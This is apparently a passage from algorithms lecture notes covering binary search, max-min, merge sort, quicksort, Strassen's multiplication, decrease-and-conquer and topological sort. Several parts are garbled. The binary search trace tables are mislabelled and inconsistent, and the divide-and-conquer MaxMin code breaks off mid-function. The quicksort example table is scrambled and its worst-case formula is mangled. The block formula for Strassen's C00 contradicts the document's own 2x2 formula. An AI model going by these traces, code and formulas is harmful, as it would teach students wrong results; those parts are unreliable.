Step 4: if $x > a_q$, $x$ has to be searched for only in the sub-list $a_{q+1}, \ldots, a_l$.
Therefore problem reduces to $(l-i, a_{q+1}, \ldots, a_l, x)$.
For the above solution procedure, the Algorithm can be implemented as recursive or non-recursive algorithm.
Recursive binary search algorithm
```c
int BinSrch(Type a[], int i, int l, Type x)
// Given an array a[i:1] of elements in nondecreasing order, 1<=i<=l, determine whether x is present, and // if so, return j such that x == a[j]; else return 0.
{
if (l==i) { // If Small(P)
if (x==a[i]) return i;
else return 0;
}
else { // Reduce P into a smaller subproblem.
int mid = (i+l)/2;
if (x == a[mid]) return mid;
else if (x < a[mid]) return BinSrch(a,i,mid-1,x);
else return BinSrch(a,mid+1,l,x);
}
}
```
Iterative binary search:
int BinSearch(Type a[], int n, Type x)
// Given an array a[1:n] of elements in nondecreasing
// order, n>=0, determine whether x is present, and
// if so, return j such that x == a[j]; else return 0.
{
int low = 1, high = n;
while (low <= high){
int mid = (low + high)/2;
if (x < a[mid]) high = mid - 1;
else if (x > a[mid]) low = mid + 1;
else return(mid);
}
return(0);
}
Example Let us select the 14 entries
-15, -6, 0, 7, 9, 23, 54, 82, 101, 112, 125, 131, 142, 151
place them in a[1:14], and simulate the steps that BinSearch goes through as it searches for different values of x. Only the variables low, high, and mid need to be traced as we simulate the algorithm. We try the following values for x: 151, -14, and 9 for two successful searches and one unsuccessful search. Table shows the traces of BinSearch on these three inputs.
<table>
<thead>
<tr>
<th>x = 14</th>
<th>low</th>
<th>high</th>
<th>mid</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>14</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>14</td>
<td>11</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>14</td>
<td>13</td>
<td></td>
</tr>
</tbody>
</table>
| | | | found
<table>
<thead>
<tr>
<th>x = 14</th>
<th>low</th>
<th>high</th>
<th>mid</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>14</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>6</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>6</td>
<td>5</td>
<td></td>
</tr>
</tbody>
</table>
| | | | found
Analysis
In binary search the basic operation is key comparison. Binary Search can be analyzed with the best, worst, and average case number of comparisons. The numbers of comparisons for the recursive and iterative versions of Binary Search are the same, if comparison counting is relaxed slightly. For Recursive Binary Search, count each pass through the if-then-else block as one comparison. For Iterative Binary Search, count each pass through the while block as one comparison. Let us find out how many such key comparison does the algorithm make on an array of n elements.
Best case – $\Theta(1)$ In the best case, the key is the middle in the array. A constant number of comparisons (actually just 1) are required.
**Worst case -** $\Theta(\log_2 n)$
In the worst case, the key does not exist in the array at all. Through each recursion or iteration of Binary Search, the size of the admissible range is halved. This halving can be done ceiling $(\log_2 n)$ times. Thus, $\lceil \log_2 n \rceil$ comparisons are required.
Sometimes, in case of the successful search, it may take maximum number of comparisons.
$\lceil \log_2 n \rceil$. So worst case complexity of successful binary search is $\Theta (\log_2 n)$.
**Average case -** $\Theta (\log_2 n)$
To find the average case, take the sum of the product of number of comparisons required to find each element and the probability of searching for that element. To simplify the analysis, assume that no item which is not in array will be searched for, and that the probabilities of searching for each element are uniform.
- **Successful searches:**
- $\Theta(1)$,
- $\Theta(\log n)$,
- $\Theta(\log n)$
- **Unsuccessful searches:**
- $\Theta(\log n)$,
- $\Theta(\log n)$
How to compute Average case complexity?
**Space Complexity** - The space requirements for the recursive and iterative versions of binary search are different. Iterative Binary Search requires only a constant amount of space, while Recursive Binary Search requires space proportional to the number of comparisons to maintain the recursion stack.
**Advantages:** Efficient on very big list, Can be implemented iteratively/recursively.
**Limitations:**
- Interacts poorly with the memory hierarchy
- Requires sorted list as an input
- Due to random access of list element, needs arrays instead of linked list.
4. Finding the maximum and minimum
**Problem statement:** Given a list of n elements, the problem is to find the maximum and minimum items.
**StraightMaxMin:** A simple and straightforward algorithm to achieve this is given below.
```c
void StraightMaxMin(Type a[], int n, Type& max, Type& min)
{
max = min = a[1];
for (int i=2; i<=n; i++) {
if (a[i] > max) max = a[i];
if (a[i] < min) min = a[i];
}
}
```
**Explanation:**
- **StraightMaxMin** requires 2(n-1) comparisons in the best, average & worst cases.
- By realizing the comparison of a[i]>max is false, improvement in a algorithm can be done. Hence we can replace the contents of the for loop by,
If(a[i]>Max) then Max = a[i]; Else if (a[i]< min) min=a[i]
- On the average a[i] is > max half the time. So, the avg. no. of comparison is 3n/2-1.
**Algorithm based on Divide and Conquer strategy**
Let P = (n, a[i],……,a[j]) denote an arbitrary instance of the problem. Here ‘n’ is the no. of elements in the list (a[i]……a[j]) and we are interested in finding the maximum and minimum of the list. If the list has more than 2 elements, P has to be divided into smaller sub problems.
For example, we might divide ‘P’ into the 2 instances,
P1=( [n/2],a[1],……..a[n/2] )
P2= ( n-[n/2], a[[n/2]+1],……, a[n] )
After having divided ‘P’ into 2 smaller sub problems, we can solve them by recursively invoking the same divide-and-conquer algorithm.
**Algorithm:**
```c
void MaxMin(int i, int j, Type& max, Type& min)
{
// a[i:j] is a global array. Parameters i and j are
// integers, i <= i <= j <= n. The effect is to set
// max and min to the largest and smallest values in
// a[i:j], respectively.
if (i == j) max = min = a[i]; // Small(P)
else if (i == j-1) { // Another case of Small(P)
if (a[i] < a[j]) { max = a[j]; min = a[i]; }
else { max = a[i]; min = a[j]; }
}
```
Example:
Suppose we simulate MaxMin on the following nine elements:
\[
a: \begin{array}{cccccccccc}
22 & 13 & -5 & -8 & 15 & 60 & 17 & 31 & 47
\end{array}
\]
A good way of keeping track of recursive calls is to build a tree by adding a node each time a new call is made. For this algorithm each node has four items of information: \( i, j, \text{max}, \text{and } \text{min}. \) On the array \( a[] \) above, the tree of recursive calls of MaxMin is as follows:
![Recursive Call Tree]
Analysis - Time Complexity
Now what is the number of element comparisons needed for MaxMin? If \( T(n) \) represents this number, then the resulting recurrence relation is:
\[
T(n) = \begin{cases}
T(\lceil n/2 \rceil) + T(\lfloor n/2 \rfloor) + 2 & n > 2 \\
1 & n = 2 \\
0 & n = 1
\end{cases}
\]
When \( n \) is a power of two, \( n = 2^k \) for some positive integer \( k \), then
\[
T(n) = 2T(n/2) + 2 \\
= 2(2T(n/4) + 2) + 2 \\
= 4T(n/4) + 4 + 2 \\
\vdots \\
= 2^{k-1}T(2) + \sum_{1 \leq i \leq k-1} 2^i \\
= 2^{k-1} + 2^k - 2 = 3n/2 - 2
\]
Note that \( 3n/2 - 2 \) is the best-, average-, and worst-case number of comparisons when \( n \) is a power of two.
Compared with the straight forward method (2n-2) this method saves 25% in comparisons.
**Space Complexity**
Compared to the straight forward method, the MaxMin method requires extra stack space for \( i, j, \text{max}, \text{min}, \text{max1} \) and \( \text{min1} \). Given \( n \) elements there will be \( \lceil \log_2 n \rceil + 1 \) levels of recursion and we need to save seven values for each recursive call. (6 + 1 for return address).
5. **Merge Sort**
Merge sort is a perfect example of a successful application of the divide-and-conquer technique. It sorts a given array \( A[0 \ldots n-1] \) by dividing it into two halves \( A[0 \ldots \lfloor n/2\rfloor-1] \) and \( A[\lceil n/2 \rceil \ldots n-1] \), sorting each of them recursively, and then merging the two smaller sorted arrays into a single sorted one.
**ALGORITHM**
\`Algorithm Mergesort(A[0..n-1])\`
//Sorts array \( A[0..n-1] \) by recursive Mergesort
//Input: An array \( A[0..n-1] \) of orderable elements
//Output: Array \( A[0..n-1] \) sorted in nondecreasing order
\`
if \ n > 1
copy \( A[0..\lfloor n/2 \rfloor-1] \) to \( B[0..\lfloor n/2 \rfloor-1] \)
copy \( A[\lceil n/2 \rceil..n-1] \) to \( C[0..\lceil n/2 \rceil-1] \)
Mergesort(B[0..\lfloor n/2 \rfloor-1])
Mergesort(C[0..\lceil n/2 \rceil-1])
Merge(B, C, A) //see below
``
The merging of two sorted arrays can be done as follows.
- Two pointers (array indices) are initialized to point to the first elements of the arrays being merged.
- The elements pointed to are compared, and the smaller of them is added to a new array being constructed.
After that, the index of the smaller element is incremented to point to its immediate successor in the array it was copied from. This operation is repeated until one of the two given arrays is exhausted, and then the remaining elements of the other array are copied to the end of the new array.
**ALGORITHM**
`Merge(B[0..p − 1], C[0..q − 1], A[0..p + q − 1])`
//Merges two sorted arrays into one sorted array
//Input: Arrays B[0..p−1] and C[0..q−1] both sorted
//Output: Sorted array A[0..p + q − 1] of the elements of B and C
\[
i \leftarrow 0; \quad j \leftarrow 0; \quad k \leftarrow 0
\]
\[
\text{while } i < p \text{ and } j < q \text{ do}
\]
\[
\text{if } B[i] \leq C[j]
\]
\[
A[k] \leftarrow B[i]; \quad i \leftarrow i + 1
\]
\[
\text{else } A[k] \leftarrow C[j]; \quad j \leftarrow j + 1
\]
\[
k \leftarrow k + 1
\]
\[
\text{if } i = p
\]
\[
\text{copy } C[j..q − 1] \text{ to } A[k..p + q − 1]
\]
\[
\text{else } \text{copy } B[i..p − 1] \text{ to } A[k..p + q − 1]
\]
Example:
The operation of the algorithm on the list 8, 3, 2, 9, 7, 1, 5, 4 is illustrated in the figure.
```
8 3 2 9 7 1 5 4
```
Analysis
Here the basic operation is key comparison. As merge sort execution does not depend on the order of the data, best case and average case runtime are the same as worst case runtime.
**Worst case:** During key comparison, neither of the two arrays becomes empty before the other one contains just one element leads to the worst case of merge sort. Assuming for
simplicity that total number of elements \( n \) is a power of 2, the recurrence relation for the number of key comparisons \( C(n) \) is
\[
C(n) = 2C(n/2) + C_{\text{merge}}(n) \quad \text{for} \quad n > 1, \quad C(1) = 0.
\]
where, \( C_{\text{merge}}(n) \) is the number of key comparison made during the merging stage.
Let us analyze \( C_{\text{merge}}(n) \), the number of key comparisons performed during the merging stage. At each step, exactly one comparison is made, after which the total number of elements in the two arrays still needing to be processed is reduced by 1. In the worst case, neither of the two arrays becomes empty before the other one contains just one element (e.g., smaller elements may come from the alternating arrays). Therefore, for the worst case, \( C_{\text{merge}}(n) = n - 1 \).
Now,
\[
C_{\text{worst}}(n) = 2C_{\text{worst}}(n/2) + n - 1 \quad \text{for} \quad n > 1, \quad C_{\text{worst}}(1) = 0.
\]
Solving the recurrence equation using master theorem:
Here \( a = 2, \ b = 2, \ f(n) = n, \ d = 1 \). Therefore \( 2 = 2^1 \), case 2 holds in the master theorem
\[
C_{\text{worst}}(n) = \Theta(n^d \log n) = \Theta(n \log n) \quad \text{Therefore} \quad C_{\text{worst}}(n) = \Theta(n \log n)
\]
Advantages:
- Number of comparisons performed is nearly optimal.
- For large \( n \), the number of comparisons made by this algorithm in the average case turns out to be about 0.25\( n \) less and hence is also in \( \Theta(n \log n) \).
- Mergesort will never degrade to \( O(n^2) \)
- Another advantage of mergesort over quicksort and heapsort is its stability. (A sorting algorithm is said to be stable if two objects with equal keys appear in the same order in sorted output as they appear in the input array to be sorted. )
Limitations:
- The principal shortcoming of mergesort is the linear amount \( [O(n)] \) of extra storage the algorithm requires. Though merging can be done in-place, the resulting algorithm is quite complicated and of theoretical interest only.
Variations of merge sort
1. The algorithm can be implemented bottom up by merging pairs of the array’s elements, then merging the sorted pairs, and so on. (If \( n \) is not a power of 2, only slight bookkeeping complications arise.) This avoids the time and space overhead of using a stack to handle recursive calls.
2. We can divide a list to be sorted in more than two parts, sort each recursively, and then merge them together. This scheme, which is particularly useful for sorting files residing on secondary memory devices, is called multiway mergesort.
6. Quick sort
Quicksort is the other important sorting algorithm that is based on the divide-and-conquer approach. Unlike mergesort, which divides its input elements according to their position in the array, quicksort divides (or partitions) them according to their value.
A partition is an arrangement of the array’s elements so that all the elements to the left of some element A[s] are less than or equal to A[s], and all the elements to the right of A[s] are greater than or equal to it:
\[
\underbrace{A[0] \ldots A[s-1]}_{\text{all are } \leq A[s]} \quad A[s] \quad \underbrace{A[s+1] \ldots A[n-1]}_{\text{all are } \geq A[s]}
\]
Obviously, after a partition is achieved, A[s] will be in its final position in the sorted array, and we can continue sorting the two subarrays to the left and to the right of A[s] independently (e.g., by the same method).
In quick sort, the entire work happens in the division stage, with no work required to combine the solutions to the sub problems.
```
ALGORITHM Quicksort(A[l..r])
//Sorts a subarray by quicksort
//Input: Subarray of array A[0..n – 1], defined by its left and right
// indices l and r
//Output: Subarray A[l..r] sorted in nondecreasing order
if l < r
s ← Partition(A[l..r]) //s is a split position
Quicksort(A[l..s – 1])
Quicksort(A[s + 1..r])
```
Partitioning
We start by selecting a pivot—an element with respect to whose value we are going to divide the subarray. There are several different strategies for selecting a pivot. We use the sophisticated method suggested by C.A.R. Hoare, the prominent British computer scientist who invented quicksort.
Select the subarray’s first element: p = A[l]. Now scan the subarray from both ends, comparing the subarray’s elements to the pivot.
- The left-to-right scan, denoted below by index pointer i, starts with the second element. Since we want elements smaller than the pivot to be in the left part of the subarray, this scan skips over elements that are smaller than the pivot and stops upon encountering the first element greater than or equal to the pivot.
- The right-to-left scan, denoted below by index pointer j, starts with the last element of the subarray. Since we want elements larger than the pivot to be in the right part of the
subarray, this scan skips over elements that are larger than the pivot and stops on encountering the first element smaller than or equal to the pivot.
After both scans stop, three situations may arise, depending on whether or not the scanning indices have crossed.
1. If scanning indices i and j have not crossed, i.e., i < j, we simply exchange A[i] and A[j] and resume the scans by incrementing i and decrementing j, respectively:
\[
\begin{array}{cccc}
p & \text{all are } \leq p & \geq p & \cdot \cdot \cdot & \leq p & \text{all are } \geq p \\
\end{array}
\]
\[
i \rightarrow \quad \leftarrow j
\]
2. If the scanning indices have crossed over, i.e., i > j, we will have partitioned the subarray after exchanging the pivot with A[j]:
\[
\begin{array}{cccc}
p & \text{all are } \leq p & \leq p & \geq p & \text{all are } \geq p \\
\end{array}
\]
\[
\leftarrow j \rightarrow i
\]
3. If the scanning indices stop while pointing to the same element, i.e., i = j, the value they are pointing to must be equal to p. Thus, we have the subarray partitioned, with the split position s = i = j:
\[
\begin{array}{cccc}
p & \text{all are } \leq p & = p & \text{all are } \geq p \\
\end{array}
\]
\[
\leftarrow j = i \rightarrow
\]
We can combine this with the case-2 by exchanging the pivot with A[j] whenever i >= j
**ALGORITHM HoarePartition(A[l..r])**
//Partitions a subarray by Hoare’s algorithm, using the first element as a pivot
//Input: Subarray of array A[0..n − 1], defined by its left and right indices l and r (l<r)
//Output: Partition of A[l..r], with the split position returned as this function’s value
\[
p \leftarrow A[l]
\]
\[
i \leftarrow l; \quad j \leftarrow r + 1
\]
repeat
\[
\text{repeat } i \leftarrow i + 1 \text{ until } A[i] \geq p
\]
\[
\text{repeat } j \leftarrow j - 1 \text{ until } A[j] \leq p
\]
\[
\text{swap}(A[i], A[j])
\]
until i >= j
\[
\text{swap}(A[i], A[j]) \quad //\text{undo last swap when } i \geq j
\]
\[
\text{swap}(A[l], A[j])
\]
return j
Note that index i can go out of the subarray’s bounds in this pseudocode.
Example: Example of quicksort operation. (a) Array’s transformations with pivots shown in bold. (b) Tree of recursive calls to Quicksort with input values l and r of subarray bounds and split position s of a partition obtained.
<table>
<thead>
<tr>
<th></th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>9</td>
<td>8</td>
<td>2</td>
<td>4</td>
<td>/</td>
<td>/</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>9</td>
<td>8</td>
<td>2</td>
<td>4</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>8</td>
<td>2</td>
<td>9</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>8</td>
<td>2</td>
<td>9</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>2</td>
<td>8</td>
<td>0</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>2</td>
<td>8</td>
<td>0</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>5</td>
<td>8</td>
<td>9</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>5</td>
<td>8</td>
<td>9</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>i</td>
<td>5</td>
<td>8</td>
<td>9</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>i</td>
<td>5</td>
<td>8</td>
<td>9</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Analysis
**Best Case** - Here the basic operation is key comparison. Number of key comparisons made before a partition is achieved is n + 1 if the scanning indices cross over and n if they coincide. If all the splits happen in the middle of corresponding subarrays, we will have the best case. The number of key comparisons in the best case satisfies the recurrence,
$$C_{best}(n) = 2C_{best}(n/2) + n \quad \text{for } n > 1, \quad C_{best}(1) = 0.$$
According to the Master Theorem, $C_{best}(n) \in \Theta(n \log_2 n)$; solving it exactly for $n = 2^k$ yields $C_{best}(n) = n \log_2 n$.
**Worst Case** – In the worst case, all the splits will be skewed to the extreme: one of the two subarrays will be empty, and the size of the other will be just 1 less than the size of the subarray being partitioned. This unfortunate situation will happen, in particular, for increasing arrays.
Indeed, if \( A[0..n-1] \) is a strictly increasing array and we use \( A[0] \) as the pivot, the left-to-right scan will stop on \( A[1] \) while the right-to-left scan will go all the way to reach \( A[0] \), indicating the split at position 0: So, after making \( n+1 \) comparisons to get to this partition and exchanging the pivot \( A[0] \) with itself, the algorithm will be left with the strictly increasing array \( A[1..n-1] \) to sort. This sorting of strictly increasing arrays of diminishing sizes will continue until the last one \( A[n-2..n-1] \) has been processed. The total number of key comparisons made will be equal to
\[
C_{\text{worst}}(n) = \left( \frac{(n+1)(n+2)}{2} \right) 3 \in \Theta(n^2).
\]
**Average Case** - Let \( C_{\text{avg}}(n) \) be the average number of key comparisons made by quicksort on a randomly ordered array of size \( n \). A partition can happen in any position \( s \) (\( 0 \leq s \leq n-1 \)) after \( n+1 \) comparisons are made to achieve the partition. After the partition, the left and right subarrays will have \( s \) and \( n-1-s \) elements, respectively. Assuming that the partition split can happen in each position \( s \) with the same probability \( 1/n \), we get the following recurrence relation:
\[
C_{\text{avg}}(n) = \frac{1}{n} \sum_{s=0}^{n-1} [(n+1) + C_{\text{avg}}(s) + C_{\text{avg}}(n-1-s)] \quad \text{for } n > 1,
\]
\[
C_{\text{avg}}(0) = 0, \quad C_{\text{avg}}(1) = 0.
\]
Its solution, which is much trickier than the worst- and best-case analyses, turns out to be
\[
C_{\text{avg}}(n) \approx 2n \ln n \approx 1.39n \log_2 n.
\]
Thus, on the average, quicksort makes only 39% more comparisons than in the best case. Moreover, its innermost loop is so efficient that it usually runs faster than mergesort on randomly ordered arrays of nontrivial sizes. This certainly justifies the name given to the algorithm by its inventor.
**Variations**
Because of quicksort’s importance, there have been persistent efforts over the years to refine the basic algorithm. Among several improvements discovered by researchers are:
- Better pivot selection methods such as randomized quicksort that uses a random element or the median-of-three method that uses the median of the leftmost, rightmost, and the middle element of the array
- Switching to insertion sort on very small subarrays (between 5 and 15 elements for most computer systems) or not sorting small subarrays at all and finishing the algorithm with insertion sort applied to the entire nearly sorted array
- Modifications of the partitioning algorithm such as the three-way partition into segments smaller than, equal to, and larger than the pivot
Limitations
- It is not stable.
- It requires a stack to store parameters of subarrays that are yet to be sorted.
- While Performance on randomly ordered arrays is known to be sensitive not only to implementation details of the algorithm but also to both computer architecture and data type.
7. Stassen’s Matrix multiplication
Direct Method: Suppose we want to multiply two $n \times n$ matrices, $A$ and $B$. Their product, $C = AB$, will be an $n \times n$ matrix and will therefore have $n^2$ elements. The number of multiplications involved in producing the product in this way is $\Theta(n^3)$
$$C(i, j) = \sum_{1 \leq k \leq n} A(i, k)B(k, j)$$
Divide and Conquer method
Multiplication of $2 \times 2$ matrices: By using divide-and-conquer approach we can reduce the number of multiplications. Such an algorithm was published by V. Strassen in 1969. The principal insight of the algorithm lies in the discovery that we can find the product $C$ of two $2 \times 2$ matrices $A$ and $B$ with just seven multiplications as opposed to the eight required by the brute-force algorithm. This is accomplished by using the following formulas:
$$\begin{bmatrix} c_{00} & c_{01} \\ c_{10} & c_{11} \end{bmatrix} = \begin{bmatrix} a_{00} & a_{01} \\ a_{10} & a_{11} \end{bmatrix} \times \begin{bmatrix} b_{00} & b_{01} \\ b_{10} & b_{11} \end{bmatrix}$$
$$= \begin{bmatrix} m_1 + m_4 - m_5 + m_7 & m_3 + m_5 \\ m_2 + m_4 & m_1 + m_3 - m_2 + m_6 \end{bmatrix}$$
where
$$m_1 = (a_{00} + a_{11}) \times (b_{00} + b_{11}),$$
$$m_2 = (a_{10} + a_{11}) \times b_{00},$$
$$m_3 = a_{00} \times (b_{01} - b_{11}),$$
$$m_4 = a_{11} \times (b_{10} - b_{00}),$$
$$m_5 = (a_{00} + a_{01}) \times b_{11},$$
$$m_6 = (a_{10} - a_{00}) \times (b_{00} + b_{01}),$$
$$m_7 = (a_{01} - a_{11}) \times (b_{10} + b_{11}).$$
Thus, to multiply two $2 \times 2$ matrices, Strassen’s algorithm makes seven multiplications and 18 additions/subtractions, whereas the brute-force algorithm requires eight multiplications and four additions.
Multiplication of \( n \times n \) matrices – Let \( A \) and \( B \) be two \( n \times n \) matrices where \( n \) is a power of 2. (If \( n \) is not a power of 2, matrices can be padded with rows and columns of zeros.) We can divide \( A \), \( B \), and their product \( C \) into four \( n/2 \times n/2 \) submatrices each as follows:
\[
\begin{bmatrix}
C_{00} & C_{01} \\
C_{10} & C_{11}
\end{bmatrix} = \begin{bmatrix}
A_{00} & A_{01} \\
A_{10} & A_{11}
\end{bmatrix} \begin{bmatrix}
B_{00} & B_{01} \\
B_{10} & B_{11}
\end{bmatrix}
\]
It is not difficult to verify that one can treat these submatrices as numbers to get the correct product. For example, \( C_{00} \) can be computed either as \( A_{00} B_{00} + A_{01} B_{10} \) or as \( M_1 + M_4 - M_5 - M_7 \) where \( M_1, M_4, M_5, \) and \( M_7 \) are found by Strassen’s formulas, with the numbers replaced by the corresponding submatrices. If the seven products of \( n/2 \times n/2 \) matrices are computed recursively by the same method, we have Strassen’s algorithm for matrix multiplication.
**Analysis**
Here the basic operation is multiplication. If \( M(n) \) is the number of multiplications made by Strassen’s algorithm in multiplying two \( n \times n \) matrices (where \( n \) is a power of 2), we get the following recurrence relation for it:
\[
M(n) = 7M(n/2) \quad \text{for } n > 1, \quad M(1) = 1.
\]
Since \( n = 2^k \),
\[
M(2^k) = 7M(2^{k-1}) = 7[7M(2^{k-2})] = 7^2M(2^{k-2}) = \ldots
\]
\[
= 7^k M(2^0) \ldots = 7^k M(2^{k-k}) = 7^k.
\]
Since \( k = \log_2 n \),
\[
M(n) = 7^{\log_2 n} = n^{\log_2 7} \approx n^{2.807},
\]
This implies \( M(n) = \Theta(n^{2.807}) \) which is smaller than \( n^3 \) required by the brute-force algorithm.
8. **Advantages and Disadvantages of Divide & Conquer**
**Advantages**
- **Parallelism:** Divide and conquer algorithms tend to have a lot of inherent parallelism. Once the division phase is complete, the sub-problems are usually independent and can therefore be solved in parallel. This approach typically generates more enough concurrency to keep the machine busy and can be adapted for execution in multi-processor machines.
- **Cache Performance:** divide and conquer algorithms also tend to have good cache performance. Once a sub-problem fits in the cache, the standard recursive solution reuses the cached data until the sub-problem has been completely solved.
It allows solving difficult and often impossible looking problems like the Tower of Hanoi. It reduces the degree of difficulty since it divides the problem into subproblems that are easily solvable, and usually runs faster than other algorithms would.
- Another advantage to this paradigm is that it often plays a part in finding other efficient algorithms, and in fact it was the central role in finding the quick sort and merge sort algorithms.
Disadvantages
- One of the most common issues with this sort of algorithm is the fact that the recursion is slow, which in some cases outweighs any advantages of this divide and conquer process.
- Another concern with it is the fact that sometimes it can become more complicated than a basic iterative approach, especially in cases with a large n. In other words, if someone wanted to add a large amount of numbers together, if they just create a simple loop to add them together, it would turn out to be a much simpler approach than it would be to divide the numbers up into two groups, add these groups recursively, and then add the sums of the two groups together.
- Another downfall is that sometimes once the problem is broken down into subproblems, the same sub problem can occur many times. It is solved again. In cases like these, it can often be easier to identify and save the solution to the repeated subproblem, which is commonly referred to as memorization.
9. Decrease and Conquer Approach
Decrease-and-conquer is a general algorithm design technique, based on exploiting a relationship between a solution to a given instance of a problem and a solution to a smaller instance of the same problem. Once such a relationship is established, it can be exploited either top down (usually recursively) or bottom up.
There are three major variations of decrease-and-conquer:
- decrease-by-a-constant, most often by one (e.g., insertion sort)
- decrease-by-a-constant-factor, most often by the factor of two (e.g., binary search)
- variable-size-decrease (e.g., Euclid’s algorithm)
In the decrease-by-a-constant variation, the size of an instance is reduced by the same constant on each iteration of the algorithm. Typically, this constant is equal to one although other constant size reductions do happen occasionally.
The decrease-by-a-constant-factor technique suggests reducing a problem instance by the same constant factor on each iteration of the algorithm. In most applications, this constant factor is equal to two.
Finally, in the variable-size-decrease variety of decrease-and-conquer, the size-reduction pattern varies from one iteration of an algorithm to another.
Example: Euclid’s algorithm for computing the greatest common divisor. It is based on the formula.
\[ \gcd(m, n) = \gcd(n, m \mod n). \]
Though the value of the second argument is always smaller on the right-hand side than on the left-hand side, it decreases neither by a constant nor by a constant factor.
10. Topological Sort
Background
A directed graph, or digraph for short, is a graph with directions specified for all its edges. The adjacency matrix and adjacency lists are the two principal means of representing a digraph.
There are only two notable differences between undirected and directed graphs in representing them: (1) the adjacency matrix of a directed graph does not have to be symmetric; (2) an edge in a directed graph has just one (not two) corresponding nodes in the digraph’s adjacency lists.
Depth-first search and breadth-first search are principal traversal algorithms for traversing digraphs as well, but the structure of corresponding forests can be more complex than for undirected graphs. Thus, even for the simple example of Figure, the depth-first search forest (Figure b) exhibits all four types of edges possible in a DFS forest of a directed graph:
- **tree edges** \((ab, bc, de)\),
- **back edges** \((ba)\) from vertices to their ancestors,
- **forward edges** \((ac)\) from vertices to their descendants in the tree other than their children, and
- **cross edges** \((dc)\), which are none of the aforementioned types.
Note that a back edge in a DFS forest of a directed graph can connect a vertex to its parent. Whether or not it is the case, the presence of a back edge indicates that the digraph has a directed cycle. A **directed cycle** in a digraph is a sequence of three or more of its vertices that starts and ends with the same vertex and in which every vertex is connected to its immediate predecessor by an edge directed from the predecessor to the successor. For example, \(a, b, a\) is a directed cycle in the digraph in Figure given above. Conversely, if a DFS forest of a digraph has no back edges, the digraph is a **dag**, an acronym for **directed acyclic graph**.
Motivation for topological sorting
Consider a set of five required courses \{C1, C2, C3, C4, C5\} a part-time student has to take in some degree program. The courses can be taken in any order as long as the following course prerequisites are met: C1 and C2 have no prerequisites, C3 requires C1 and C2, C4 requires C3, and C5 requires C3 and C4. The student can take only one course per term. In which order should the student take the courses?
The situation can be modeled by a digraph in which vertices represent courses and directed edges indicate prerequisite requirements.
In terms of this digraph, the question is whether we can list its vertices in such an order that for every edge in the graph, the vertex where the edge starts is listed before the vertex where the edge ends. In other words, can you find such an ordering of this digraph’s vertices? This problem is called topological sorting.
Topological Sort
For topological sorting to be possible, a digraph in question must be a dag. i.e., if a digraph has no directed cycles, the topological sorting problem for it has a solution.
There are two efficient algorithms that both verify whether a digraph is a dag and, if it is, produce an ordering of vertices that solves the topological sorting problem. The first one is based on depth-first search; the second is based on a direct application of the decrease-by-one technique.
Topological Sorting based on DFS
Method
1. Perform a DFS traversal and note the order in which vertices become dead-ends
2. Reversing this order yields a solution to the topological sorting problem, provided, of course, no back edge has been encountered during the traversal. If a back edge has been encountered, the digraph is not a dag, and topological sorting of its vertices is impossible.
Illustration
a) Digraph for which the topological sorting problem needs to be solved.
b) DFS traversal stack with the subscript numbers indicating the popping off order.
c) Solution to the problem. Here we have drawn the edges of the digraph, and they all point from left to right as the problem’s statement requires. It is a convenient way to check visually the correctness of a solution to an instance of the topological sorting problem.
**Topological Sorting using decrease-and-conquer technique:**
**Method:** The algorithm is based on a direct implementation of the decrease-(by one)-and-conquer technique:
1. Repeatedly, identify in a remaining digraph a source, which is a vertex with no incoming edges, and delete it along with all the edges outgoing from it. (If there are several sources, break the tie arbitrarily. If there are none, stop because the problem cannot be solved.)
2. The order in which the vertices are deleted yields a solution to the topological sorting problem.
**Illustration** - Illustration of the source-removal algorithm for the topological sorting problem is given here. On each iteration, a vertex with no incoming edges is deleted from the digraph.
**Note:** The solution obtained by the source-removal algorithm is different from the one obtained by the DFS-based algorithm. Both of them are correct, of course; the topological sorting problem may have several alternative solutions.
**Applications of Topological Sorting**
- Instruction scheduling in program compilation
- Cell evaluation ordering in spreadsheet formulas,
- Resolving symbol dependencies in linkers.
***
|
